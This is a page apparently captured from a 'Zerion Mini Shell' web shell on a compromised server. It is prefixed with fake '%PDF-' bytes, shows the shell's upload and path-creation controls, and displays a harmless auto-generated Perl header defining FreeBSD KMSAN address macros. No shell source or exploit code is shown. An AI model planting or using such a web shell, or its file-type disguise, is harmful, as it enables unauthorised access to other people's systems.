%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /backups/router/usr/local/lib/perl5/site_perl/mach/5.36/machine/
Upload File :
Create Path :
Current File : //backups/router/usr/local/lib/perl5/site_perl/mach/5.36/machine/msan.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_MACHINE_MSAN_H_)) {
    eval 'sub _MACHINE_MSAN_H_ () {1;}' unless defined(&_MACHINE_MSAN_H_);
    if(defined(&KMSAN)) {
	require 'vm/vm.ph';
	require 'vm/pmap.ph';
	require 'vm/vm_page.ph';
	require 'machine/vmparam.ph';
	eval 'sub KMSAN_ORIG_TYPE_SHIFT () {30;}' unless defined(&KMSAN_ORIG_TYPE_SHIFT);
	eval 'sub KMSAN_ORIG_PTR_MASK () {((1 <<  &KMSAN_ORIG_TYPE_SHIFT) - 1);}' unless defined(&KMSAN_ORIG_PTR_MASK);
	eval 'sub kmsan_md_orig_encode {
	    my($type,$ptr) = @_;
    	    eval q({ (($type <<  &KMSAN_ORIG_TYPE_SHIFT) | (($ptr &  &KMSAN_ORIG_PTR_MASK))); });
	}' unless defined(&kmsan_md_orig_encode);
	eval 'sub kmsan_md_orig_decode {
	    my($orig,$type,$ptr) = @_;
    	    eval q({ *$type = $orig >>  &KMSAN_ORIG_TYPE_SHIFT; *$ptr = ($orig &  &KMSAN_ORIG_PTR_MASK) |  &KERNBASE; });
	}' unless defined(&kmsan_md_orig_decode);
	eval 'sub kmsan_md_addr_to_shad {
	    my($addr) = @_;
    	    eval q({ ($addr -  &VM_MIN_KERNEL_ADDRESS +  &KMSAN_SHAD_MIN_ADDRESS); });
	}' unless defined(&kmsan_md_addr_to_shad);
	eval 'sub kmsan_md_addr_to_orig {
	    my($addr) = @_;
    	    eval q({ ($addr -  &VM_MIN_KERNEL_ADDRESS +  &KMSAN_ORIG_MIN_ADDRESS); });
	}' unless defined(&kmsan_md_addr_to_orig);
	eval 'sub kmsan_md_unsupported {
	    my($addr) = @_;
    	    eval q({ ($addr <  &VM_MIN_KERNEL_ADDRESS || $addr >=  &KERNBASE); });
	}' unless defined(&kmsan_md_unsupported);
    }
}
1;

Zerion Mini Shell 1.0